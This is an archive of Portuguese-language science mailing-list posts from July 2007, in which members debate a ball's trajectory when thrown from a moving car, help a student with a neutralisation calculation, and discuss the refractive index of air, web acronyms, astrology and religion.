x = 1/2.ax.t^2 ... [2]

Acima temos um sistema de equações paramétricas (parâmetro t); basta
eliminar t para termos y = f(x):

da [2] ==> t^2 = 2.x/ax ; levando à [1]:

y = (1/2)ay.2x/ax = (ay/ax).x = k.x

função linear traduzindo que a trajetória é uma reta inclinada de
(teta)=arctg(ay/ax).

Só estou simplificando as notações do Roberto, para melhor entendimento do
JR, nada de novidade!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 7 de julho de 2007 02:24
Assunto: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - E não é mesmo tão significativo, como podemos ver pela pequena
> inclinação ou amplitude do primeiro trecho de descida da bola, após
> o lançamento. O que afirmo é que, certamente, o empuxo do vento
> sobre a bola ocorre nesse evento.

Novamente, o vento não poderá ser significativo. Isso quer dizer q
essa pequena inclinação da bola na descida logo após o lançamento NÃO
pode se dever a uma ação do vento - se o vento contribuir para essa
inclinação será uma contribuição mínima.

> A nossa experiência e conhecimento indicam q uma caminhoneta a 100
> km/h NÃO produz ventos de 64 km/h...
> JR - Por que, não? Se o carro se desloca a 100km/h, há probabilidade
> de que alguma parte do ar deslocado por ele alcance velocidades até
> próxima desse valor.

Provas, por favor. Lembre-se de q o vento tem q ser suficiente para
deslocar uma bola de beisebol.

> Além disso, um objeto q tem aceleração horizontal e vertical cai em
> diagonal reta e não em arco de parábola.
> JR - É sim, Tanaka! Pois a aceleração gravitacional é que gera a
> equação de segundo grau de uma trajetória parabólica.

Claro q não, Zerê... a aceleração gravitacional proporciona uma
equação de segundo grau para o deslocamento vertical, mas a aceleração
horizontal tb gera uma equação de segundo grau para o deslocamento
horizontal. E isso NÃO gera uma parábola.

Uma rápida análise matemática ajuda a entender isso.

deltaSy = Vyo.t + 1/2.ay.t^2 [1]
deltaSx = Vxo.t + 1/2.ax.t^2 [2]

Consideremos Vyo e Vxo como iguais a zero.

deltaSy = 1/2.ay.t^2 [3]
deltaSx = 1/2.ax.t^2 [4]

ay = g
ax = aceleração produzida pelo vento.

deltaSy = 1/2.g.t^2 [5]
t^2 = 2.deltaSy/g [6]

Substituindo t^2 em [4]

deltaSx = 1/2.ax.2.deltaSy/g [7]
deltaSx = (ax/g).deltaSy [8]

(ax/g) é uma constante dado q g e ax sejam constantes.

Assim a função q descreve a variação de deltaSx em função de deltaSy -
q descreve a trajetória da bola é uma equação LINEAR, do tipo y = a.x
+ b. Nada de parábolas.

Se duvida pegue o Excel e faça simulações numéricas com QUALQUER ax e
plote em um gráfico de Sx por Sy.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um carro idem
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/07/2007 09:58

Renato:

Sobre barcos.

Tive um, pesquyeiro de 7 metros. Aqui, na colonia todos os pescadores velhos dizem que não é seguro aproximar-se de um navio grande.

Um casra que estava num imenso mineroil na Samarco passou pelo rádio (eu era PX) um pedido para levar cigarros.
Ele pagava bem.
Nenhum pescador quiz ir: meu filho, com 17 anos pegou o barco e foi, sozinho, encostou no costado do navio - ele disse que é igual a uma piscina do lado contra as ondas: entregou os cigarros, recebeu a grana e um uisque...
Assim, pelo menos para os navios poitados na Samarco, essa teoria não prevalece. Meu filho foi porquê, como tudo na vida, devemos enfrentar pequenos desafios.

bom dia,
silvio.

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, July 02, 2007 9:35 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um carro idem


Comentários após JR1...
....................................
----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 01, 2007 10:52 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem

Algumas observações and questions:

1- Remo é uma alavanca, quer seja usado sobre o gancho na borda do barco
quer diretamente apenas com as mãos. Pergunto: que tipo de alavanca é o
remo? Interfixa, interpotente ou inter-resistente?

2- "JR - Os movimentos da água são difíceis de se determinar, mas os
pescadores
de pequeno curso sabem que não devem se aproximar de um barco maior pois
podem ser "sugados" pelo deslocamento provocado na água pelo casco ou pelas
hélices."
Não é bem assim. Dois barcos navegando próximos determinam um fluxo de água
entre eles com velocidade maior que dos outros lados dos barcos. Bernoulli
justifica a aproximação entre eles; é equivalente a soprar entre duas bolas
próximas dependuradas.
JR1 - Esse efeito que vc menciona não é o que prevalesse no caso aventado de
pequenos barcos de pesca. Os movimentos mais significativos provocados na
água são o do deslocamento do barco maior e o das hélices.

3- O acréscimo de velocidade horizontal adquirido pela bola após a primeira
quicada só (penso eu) pode ser justificado pela rotação da bola em sentido
anti horário (em relação ao visto no filme). Empuxo do ar (ou vácuo) na área
da bola é incompatível com o observado (e calculado pelo Roberto).
JR1 - Repetindo a resposta anterior, afirmo que o que determina a brusca
aceleração da bola após o primeiro quicar no chão ainda está indeterminada.
Há duas possibilidades mais visíveis: a rotação da bola e irregularidade no
piso.

4- E o avião? Já Decolou? Quem tem dúvida pense assim: que aconteceria se a
esteira 'corresse' no mesmo sentido e valor da velocidade do avião conforme
este adquire velocidade em relação ar?
JR1 - Aqui vc já define o referencial para a medida da velocidade: o ar. No
caso questionado estamos de acordo que o avião decola da esteira quando sua
velocidade é medida em relação ao ar ou ao chão.

5- Força de atrito não existe e não caracteriza corpo, superfície, natureza
ou qqer força natural. Esse componente da força total de apoio é, sem
dúvida, muitas vezes útil. A lei de Coulomb-Morin para superfícies secas
(Fat = µ.N) denota bem sua utilidade ... todavia, notem, é função de N, para
deixar claro que ela e N pertencem a algo mais geral. Se um bloco está
apoiado sobre um plano inclinado, sem deslizar, e alguém perguntar "como é a
reação total de apoio?", não há o que pensar duas vezes para responder "é a
equilibrante do peso do bloco!", portanto, vertical, para cima e de mesmo
valor que m.g.

6- Sucesso! Acabei de chegar da cidade de Três Marias - MG (quiuspa! 9 horas
de viagem!) onde fiz palestra na 4a feira à noite e exposição de uns 20
experimentos que levei prá lá, na 5a feira à noite. Saboreei um 'surubim
grelhado à beira do Rio São Francisco, visitei a Votorantin-metais (maior
produtora de zinco do Brasil) --- tudo na base de van para transporte
(sprinter), carro à disposição, hotel etc.; aceitei o convite da Votorantin,
prefeitura e Secret. da Educação. Ah! agora tenho algumas barras de zinco
para fazer um bocado de experiências!

inté a próxima ........
aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================

Parabéns pelo seu sucesso em Três Marias!
Serve pelo menos para recuperar do cansaço pelas horas de viagem...

[]s

José Renato
........................................................................

-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 30 de junho de 2007 20:53
Assunto: Re: [ciencialist] Jogar uma bola a 100km/h de um carro
a100km/h:osresultados

[ ... ]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Dúvida química
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 09/07/2007 15:51

Olá a todos!!!
Tô precisando de uma ajudinha!! Estou tentando resolver um exercício de química que ta me deixando doidinha..
- O pH de uma amostra de resíduo industrial líquido é igual a 2. Quantos gramas de Ca(OH)2 puro devem ser adicionados a um reservatório contendo 10.000L de H2SO4 a 15% (em massa)para que haja completa neutralização.

Com o valor pH determino a [H+] que vai ser igual 10^ -2 e, como a solução deve ser neutralizada tenho [H+] = [OH-] certo?
e depois, escrevendo a reação de ionização do Ca(OH)2 e substituindo [OH-] vou encontrar [Ca(OH)2] e depois verifico a sua massa, correto?
Já tentei fazer este exercício várias vezes mas o resultado que sempre encontro é sempre 3700 e a resposta do livro é 7400. Alguém poderia me ajudar??

Brigadinho!!!!
Aline


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: F�sica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 09/07/2007 17:30

Quem se habilita?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Odair Junior


Olá professor Léo. Tenho uma pequena grande dúvida, que é: Já li em livros em que o ÍNDICE DE REFRAÇÃO da luz é proporcional à densidade do ar e inversamente proporcional à temperatura do ar. Por quê? Como esses fatores alteram esse índice? Desde já agradeço.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fw: Física
FROM: "Emanuel Valente" <emanuelvalente@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/07/2007 20:56

Tudo têm a ver com a densidade. Variações na temperatura alteram a
densidade. Para meios sólidos isso não é aplicado para pequenas
diferenças de temperaturas, mas no caso
de gases e líquidos sim. Lembrando que o aumento de temperatura deixa
as moléculas mais longe uma as outras, diminuindo a densidade.

ps: Minha resposta não foi muita técnica, ficarei contente se alguém
puder explicar de uma maneira mais detalhada.

[]´s
Emanuel Valente.


On 7/9/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Quem se habilita?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Odair Junior
>
> Olá professor Léo. Tenho uma pequena grande dúvida, que é: Já li em livros em que o ÍNDICE DE REFRAÇÃO da luz é proporcional à densidade do ar e inversamente proporcional à temperatura do ar. Por quê? Como esses fatores alteram esse índice? Desde já agradeço.
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>


SUBJECT: Fw: Como sacar uma rolha de dentro de uma garrafa
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br, kentaro.mori@gmail.com
DATE: 09/07/2007 21:52

( essa tem a cara do Kentaro....:)



>Subject: Fw: Como sacar uma rolha de dentro de uma garrafa
>Date: Mon, 9 Jul 2007 11:19:01 -0300
>
>
>Sent: Thursday, June 14, 2007 12:29 AM
>Subject: Como sacar uma rolha de dentro de uma garrafa
>
>




SUBJECT: Re: Dúvida química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/07/2007 22:15

--- Em ciencialist@yahoogrupos.com.br, Aline Santos
> - O pH de uma amostra de resíduo industrial líquido é igual a 2.
> Quantos gramas de Ca(OH)2 puro devem ser adicionados a um
> reservatório contendo 10.000L de H2SO4 a 15% (em massa)para que haja
> completa neutralização.

Vc escreve a reação de neutralização entre Ca(OH)2 e H2SO4. Calcula a
quantidade de H2SO4, por regra de três chega-se à quantidade de Ca(OH)2.

> Com o valor pH determino a [H+] que vai ser igual 10^ -2 e, como a
> solução deve ser neutralizada tenho [H+] = [OH-] certo?
> e depois, escrevendo a reação de ionização do Ca(OH)2 e substituindo
[OH-] vou encontrar [Ca(OH)2] e depois verifico a sua massa, correto?
> Já tentei fazer este exercício várias vezes mas o resultado que
> sempre encontro é sempre 3700 e a resposta do livro é 7400. Alguém
> poderia me ajudar??

Coloque seus cálculos aqui...

[]s,

Roberto Takata



SUBJECT: Re: Ernst Mayr e a filosofia da biologia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/07/2007 22:25

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> informático (FTP, HTML... O que significam essas siglas?). A minha

File Transfer Protocol - protocolo de transferência de arquivos - para
transferências de - dããã - arquivos eletrônicos entre computadores.

Hypertext Markup Language - linguagem de marcação de texto - para q os
browseres possam exibir textos com certas características (identificar
o q é o título, onde ficam as tabelas, o q destacar em negrito e
assiim por diante). Como ela é limitada - o q confere vantagem em
relação à simplicidade (portanto à possibilidade de universalidade -
embora a Microsoft sempre tente inventar moda saindo das especificação
do Consórcio W3 q administra os padrões da Web - e à estabilidade) -
acabaram criando tb o XML - eXtended Markup Language - linguagens q
acrescentam outros tipos de marcação - q não se preocupam com como os
textos serão exibidos, mas em identificar a natureza de trechos dos
textos de modo mais flexível - portanto, mais personalizável, mas tb
com maior possibilidade de incompatibilidades entre browseres e a
marcação.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/07/2007 22:34

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Grato, Luiz, mas a trajetória da questão carro-bola, por diversos
> motivos, não é uma reta inclinada!

E o motivo dela NÃO ser uma reta inclinada é q NÃO há aceleração
horizontal significativa. O q significa q NÃO há ação significativa do
vento.

A decomposição de componentes da trajetória é algo perfeitamente
factível por conta da natureza vetorial do deslocamento (apresenta
módulo, direção e sentido). Aliás, é uma das primeiras lições de
cinemática e dinâmica do ensino médio (ex-segundo grau, ex-colegial).

O q identifica cada componente é, sem surpresas, a *direção* vertical
ou horizontal de cada um. Outras decomposições são possíveis, mas esta
é a mais didática e a mais conveninente, posto q as forças q
supostamente estão agindo: gravidade e empuxo do vento - estão nessas
direções ortogonais.

[]s,

Roberto Takata



SUBJECT: Re: armas do futuro
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/07/2007 22:38

--- Em ciencialist@yahoogrupos.com.br, "SILVIO CORDEIRO"
> Já coloquei um rato imerso no hidrogênio, quando tirei, foi jogado

Era hidrogênio mm? Não era nitrogênio, não?

[]s,

Roberto Takata



SUBJECT: Re: UMA LEITURA DE PAUL FEYERABEND
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/07/2007 23:37

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> A condenação da Astrologia por muitos cientistas não é fruto da
> aplicação rigorosa de métodos de investigação, mas sim da imposição
> autoritária de um único sistema de pensamento.

A condenação ou não por muitos cientistas não importa. O q importa é q
qdo se aplica uma investigação rigorosa sobre as alegações da
astromancia, ela falha de modo vexatório.

> a ciência não é o único e nem o melhor sistema de pensamento
> desenvolvido pelo homem

De fato não é único. E se é melhor ou não depende do critério de cada
um. Mas em se tratando a respeito do funcionamento do mundo natural,
ainda estão pra inventar um sistema de pensamento capaz de gerar
predições tão precisas e certeiras qto as ciências - precisas o
suficiente a ponto de permitir o desenvolvimento da tecnologia atual.

É isso q as pesssoas precisam entender. O resto é perolação flácida
para acalentar bovinos.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 00:55

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Provas, por favor. Lembre-se de q o vento tem q ser suficiente para
> deslocar uma bola de beisebol.
> JR1 - Prova? Veja no vídeo a inclinação da trajetória da bola para a
> esquerda...

A trajetória curva da bola NÃO demonstra q haja vento significativo.
Pois está a se demonstrar exatamente q a trajetória é INCOMPATÍVEL com
uma ação significativa do vento.

Há pelo menos outra possibilidade:
- o módulo da velocidade do carro no momento do lançamento da bola é
maior do q módulo da velocidade de lançamento da bola.

E essa outra possibilidade é compatível com a trajetória da bola.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 01:42

Putz, ninguém merece!

Será que não há nenhum moderador para encerrar essa conversa do Takata
com o José Renato?

Que saco, além de não expulsarem o sujeito ainda dão trela?

Tá cada dia mais difícil acompanhar essa lista.




--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > Provas, por favor. Lembre-se de q o vento tem q ser suficiente para
> > deslocar uma bola de beisebol.
> > JR1 - Prova? Veja no vídeo a inclinação da trajetória da bola para a
> > esquerda...
>
> A trajetória curva da bola NÃO demonstra q haja vento significativo.
> Pois está a se demonstrar exatamente q a trajetória é INCOMPATÍVEL com
> uma ação significativa do vento.
>
> Há pelo menos outra possibilidade:
> - o módulo da velocidade do carro no momento do lançamento da bola é
> maior do q módulo da velocidade de lançamento da bola.
>
> E essa outra possibilidade é compatível com a trajetória da bola.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: [ciencialist] Re: armas do futuro
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/07/2007 02:26

Takata:
Sim senhor. escrevi errado....

sfds,
silvio.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Monday, July 09, 2007 10:38 PM
Subject: [ciencialist] Re: armas do futuro


--- Em ciencialist@yahoogrupos.com.br, "SILVIO CORDEIRO"
> Já coloquei um rato imerso no hidrogênio, quando tirei, foi jogado

Era hidrogênio mm? Não era nitrogênio, não?

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] A sociedade como soma de indivíduos
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/07/2007 07:12

>"Meu Deus, meu Deus, por que me
abandonaste?", pronunciada por Jesus Cristo durante o tortura da
crucificação, é uma oração a Deus contida no Salmo 22 (21).



Vou arriscar um comentário, defendo, já, que não é tão offt-opic. Há
referências à eletrônica e ao Léo. Logo, tem um pouco de ciência no meio.
Portanto, lá vai bala.



Até onde contam, o suposto Cristo estava pendurado por pregos nas mãos, sem
um apoio adequado nos pés, devido aos pregos neles também cravados. Mesmo
que quisesse segurar o tórax retesando os músculos dos braços, isto não
seria possível, pois a dor nas mãos cravadas impediria. Alguém se habilita
a fazer um teste, para validar esta herética tese? Mãos e pés deviam doer
prá dedéu. Em condições assim, após algum tempo, a respiração torna-se
difícil, a capacidade de racionar, idem. Falar, no início, só baixinho ou
sussurros. Não há forças suficientes. A cruz era bastante alta, conforme os
relatos. Ventava muito. Havia barulho de pessoas falando. No entanto, Cristo
teria dito para o “bom ladrão” aquilo de “ainda hoje estarás comigo no
paraíso”, ou algo assim, além de citações como a acima.( “Bom ladrão”,
tinha muita graça! )Contudo, assaltam-me dúvidas heréticas:



1- Mas Cristo só foi para o “céu”, com roupa e tudo, “apenas” no
terceiro dia. Como diabos é que disse ao Dimas que, “ainda hoje”, estaria
com ele lá no “paraíso”? Seria para o cara morrer rindo e satisfeito, ante
a agonia? Que previsão mais furada!

2- Quem ouviu aquelas conversas todas? Como poderiam ter ouvido, se o
supliciado não tinha condições físicas para nada e as atmosféricas não eram
lá muito favoráveis? A não ser que Léo houvesse instalado um amplificador,
microfone e alto falantes, além de um gravador! Mas, se não me engano,
naqueles tempos, a ciência eletrônica, nem Léo, ainda nem existiam... Ou
será que estou enganado?

3- Tudo já estava programado, determinado, Ele sabia de tudo, havia
avisado aos apóstolos, tudinho, inclusive quem o “trairia”, TIM-tim-tim por
TIM-tim-tim, além de outros conhecimentos prévios (Gates deveria ser o
culpado por haver programado Judas, os soldados que espetavam os
crucifcados, quem mandou fazer aquelas misérias..., e não eles, que foram
para o inferno sem dó nem piedade!) Estava reclamando de quê? E porque o
assombro que veio posteriormente? Ao cabo e ao fim, ficou uma mensagem de
dor, agonia, desespero, assassinato, condenação do “mau” ladrão e absorvição
do “bom” ladrão. Sangue, ringir de dentes, expressões melosas e lânguidas.
Esta é a mensagem que ficou, e que norteia o cristianismo, em qualquer das
seitas existentes. É de uma ingenuidade que dá dó, essa fé dogmática. Léo,
como divindade, deve explicar como conseguiu que todos ouvissem as palavras
finais. Não tem outra explicação. Tinha que haver eletrônica por ali...

4- Finalmente, só fico imaginando o que seria de nós outros, hoje, se
Barrabás tivesse sido o escolhido para fazer a festa lá na c ruz, ao invés
do Cristo, no monte Golgotá. Como seria essa religião hoje, e o que
seríamos, que denominação teríamos, enfim, em relação a ela? (Um pensador
genial já deu a solução. Mas não digo agora, qual).



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: domingo, 8 de julho de 2007 22:35
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] A sociedade como soma de indivíduos



Manuel Bulcão escreveu: [ Demais, foi através de Cristo que a razão crítica
(razão esta que Popper, no século XX, deu o acabamento final) veio ao mundo.

"Pai, por que me abandonaste?" (Mateus, XXVI, 46). Vemos, nessa interrogação

dolorosa, a razão questionando a própria razão e, ipso facto, o direito ao
questionamento erigido a
princípio teológico. ]
.....................................

Caro, Bulcão! A citação de Mt 26,46 "Meu Deus, meu Deus, por que me
abandonaste?", pronunciada por Jesus Cristo durante o tortura da
crucificação, é uma oração a Deus contida no Salmo 22 (21). É um grito de
angústia real, mas não de desespero, pois o texto em sua continuação vem
seguido por uma certeza jubilosa do orante ao triunfo final - conforme notas

de rodapé da Bíblia de Jerusalém.
[]s
José Renato
.....................................

----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br
<mailto:manuelbulcao%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Sunday, June 17, 2007 9:03 PM
Subject: [ciencialist] A sociedade como soma de indivíduos

Oi pessoal,

Andei lendo o blog do Rodrigo Constantino. O cara é bom, muito
inteligente, erudito. Entretanto, no mais recente artigo dele, "As
Sete Maravilhas", cometeu algumas bobagens, a começar pela asserção
segundo a qual "a sociedade não passa de um somatório de indivíduos"
(sobre essa afirmação, gostaria que os adeptos da sociobiologia da C-
List tecessem alguns comentários).

Incomodado com tamanha baboseira ultraliberalóide, resolvi publicar,
no próprio blog do autor, a seguinte mensagem:

"A sociedade não passa de um somatório de indivíduos, e seria mais
saudável que as pessoas passassem a julgar - para o bem e para o mal -
atos individuais. Eu tenho mais respeito e afinidade por um
australiano distante que defenda a liberdade individual do que por um
vizinho marxista. Por esses motivos acima, não quero saber de voto em
Cristo Redentor!" (Rodrigo Constantino)

Constantino,

Uma sociedade não é um somatório de indivíduos, mas uma "estrutura".
Soma de "indivíduos" é uma colônia de bactérias, haja vista que uma
monera singular, via de regra, não depende das outras nem mesmo para
se reproduzir.

Toda sociedade é um complexo de "relações" entre indivíduos: relações
sexuais, relações afetivas ou de cuidado (como a das mães com as suas
proles), relações de cooperação, relações de troca, relações de
aprendizado, relações de dominação ou hierárquicas etc.

Você, um liberal que cultua o Indivíduo, fala que, em nossos
julgamentos, deveríamos nos ater - para o bem e para o mal - aos atos
individuais. Ora, como julgar Goethe, e em particular a sua obra-
prima "Fausto", sem levar em conta o empreendimento etnológico ou
a "criação coletiva" em que ele se inspirou: a "lenda" de Fausto? E
como avaliar esse "ato individual" que é a obra "Grande Sertão:
Veredas", de Guimarães Rosa, sem considerar a matéria-prima dessa
magnífica obra, a saber, o folclore mineiro, que, como todo folclore,
é construção coletiva? (poderia, ainda, celebrar as estupendas
criações "individuais" de Ariano Suassuna, Patativa de Assaré e até
Homero, que modelaram suas obras tendo por barro os mitos e lendas -
empreendimentos coletivos e anônimos - do seu povo.

Você afirma que prefere o significado da estátua da Liberdade ao do
Cristo Redentor. Ora, até para um ateu não bitolado, Cristo é símbolo
de muitas coisas boas. Com efeito, quando Jesus afirmou "meu reino
não é deste mundo" e "dai a César o que é de César e a Deus o que é
de Deus", com essas sentenças estabeleceu-se pela primeira vez a
alvissareira possibilidade (que não existe nos demais monoteísmos
abraâmicos: o judaísmo e o islamismo) da laicização da política, da
separação entre Igreja e Estado. Demais, foi através de Cristo que a
razão crítica (razão esta que Popper, no século XX, deu o acabamento
final) veio ao mundo. "Pai, por que me abandonaste?" (Mateus, XXVI,
46). Vemos, nessa interrogação dolorosa, a razão questionando a
própria razão e, ipso facto, o direito ao questionamento erigido a
princípio teológico.

Sim, o Cristo Redentor não é apenas bonito.

De resto, ao contrário de você, não costumo reduzir as pessoas às
suas crenças. Sou de centro-esquerda. Não obstante isso, tenho mais
respeito ao meu vizinho liberal de direita (um homem íntegro e bom)
do que por canalhas que pensam igualzinho a mim, não importando onde
vivam (Lembro que também há muitos liberais calhordas).

Abraço.
4:26 PM

Manuel Bulcão

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Professor adjunto, assistente, titular, convidado...
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 09:08

Sei que eh off-topic. Mas estou perdido nessas classificacoes.

Qual eh a diferenca entre professor assistente e adjunto? Tentei
achar uma tabela com essas informacoes, e nao encontrei.


Ateh
Luis Brudna


SUBJECT: Re: [ciencialist] Fw: Como sacar uma rolha de dentro de uma garrafa
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <pedraderoseta@yahoogrupos.com.br>, <kentaro.mori@gmail.com>
DATE: 10/07/2007 09:18

De: "murilo filo"
Fw: Como sacar uma rolha de dentro de uma garrafa


( essa tem a cara do Kentaro....:)

Léo: esKentaro a garrafa?




SUBJECT: Re: RES: [ciencialist] A sociedade como soma de indivíduos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 12:47

Favor não discutir religião na lista.

[]s,

Roberto Takata



SUBJECT: Re: Professor adjunto, assistente, titular, convidado...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 12:49

--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
> Qual eh a diferenca entre professor assistente e adjunto?

O Prof. Assistente tem título de mestrado. O Adjunto tem doutorado.

[]s,

Roberto Takata



SUBJECT: Res: [ciencialist] Re: Dúvida química
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 15:37

Ainda não consegui... acho que este exercício queimou meus neurônios...
Os meus cálculos seguem abaixo.

--- Em ciencialist@yahoogrupos.com.br, Aline Santos
> - O pH de uma amostra de resíduo industrial líquido é igual a 2.
> Quantos gramas de Ca(OH)2 puro devem ser adicionados a um
> reservatório contendo 10.000L de H2SO4 a 15% (em massa)para que haja
> completa neutralização.

Vc escreve a reação de neutralização entre Ca(OH)2 e H2SO4. Calcula a
quantidade de H2SO4, por regra de três chega-se à quantidade de Ca(OH)2.

Ca(OH)2 + H2SO4 --> CaSO4 + 2 H2O
como vou calcular a quantidade de H2SO4?????

> Com o valor pH determino a [H+] que vai ser igual 10^ -2 e, como a
> solução deve ser neutralizada tenho [H+] = [OH-] certo?
> e depois, escrevendo a reação de ionização do Ca(OH)2 e substituindo
[OH-] vou encontrar [Ca(OH)2] e depois verifico a sua massa, correto?
> Já tentei fazer este exercício várias vezes mas o resultado que
> sempre encontro é sempre 3700 e a resposta do livro é 7400. Alguém
> poderia me ajudar??

Coloque seus cálculos aqui...

pH resíduo ind. = 2 sabendo que pH = log (1/ [H+])
eu tenho que a [H+] = 10^-2 mol/L
para uma solução neutralizada, tem-se [H+] = [OH-], portanto [OH-] = 10^-2 mol/L
como [OH-] = m /(MM*V) teremos:
mOH = 0,01*17*10.000 = 1700g

escrevendo a reação de dissociação do Ca(OH)2:
Ca(OH)2 <=> Ca2+ + 2 OH-
74 2* 17 (g/mol)
x 1700g

x = 3700g - quantidade de Ca(OH)2

Aline

[]s,

Roberto Takata



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SUBJECT: Res: [ciencialist] Re: Dúvida química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 17:15

--- Em ciencialist@yahoogrupos.com.br, Aline Santos
> Ainda não consegui... acho que este exercício queimou meus
> neurônios...Os meus cálculos seguem abaixo.
>
> --- Em ciencialist@yahoogrupos.com.br, Aline Santos
> > - O pH de uma amostra de resíduo industrial líquido é igual a 2.
> > Quantos gramas de Ca(OH)2 puro devem ser adicionados a um
> > reservatório contendo 10.000L de H2SO4 a 15% (em massa)para que
> > haja completa neutralização.

Revendo o enunciado, ele faz pouco sentido. Diz q a concentração total
de H2SO4 é de 15% em massa. Não temos a densidade da solução - se for
igual à da água o total de ácido sulfúrico seria de 1.500 kg!

O enunciado tb não diz se o pH se deve totalmente ao H2SO4 ou se há
outros ácidos presentes. E se a neutralização é a do H2SO4 ou do pH...

Para pH = 2 realmente haveria - em 10.000 l - 100 mols de H+ em
excesso. E seriam necessários 50 mols de hidróxido de cálcio para
neutralizar.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fw: Como sacar uma rolha de dentro de uma garrafa
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 17:56

Tem a sua cara também.
Me dá seu endereço bom p/anexos.
Coisa simples e rápida.
abr/M.


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To:
><ciencialist@yahoogrupos.com.br>,<pedraderoseta@yahoogrupos.com.br>,<kentaro.mori@gmail.com>
